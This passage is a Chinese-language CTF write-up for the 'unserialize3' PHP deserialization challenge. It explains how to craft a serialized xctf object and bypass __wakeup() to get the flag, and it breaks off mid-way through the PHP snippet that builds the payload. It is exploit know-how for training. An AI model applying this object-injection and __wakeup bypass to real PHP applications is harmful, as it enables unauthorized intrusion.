题目 — unserialize3
一、writeup
一道php反序列化的题
关键点:
- 当审出存在反序列化漏洞时,我们将对应的那个类拿出到自己的php环境中,先用恶意字符串实例化该类然后用serialize()函数,进行序列化,将序列化好的东西抛出到环境中即可造成反序列化漏洞
- 当$flag='111’时可以看到flag,通过?code查询字符串来传入需要反序列化的字符串
- 反序列时会自动调用__wakeup() 函数,导致程序结束执行,因此要绕过 __wakeup() 函数(绕过的方法在知识点中有介绍)
将类巴拉下来进行实例化,将实例化的对象进行序列化,然后再替换绕过__wakeup方法,代码如下
<?php
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
}
// 实例化类
$a = new xctf;
// 进行序列化
$a = serialize($a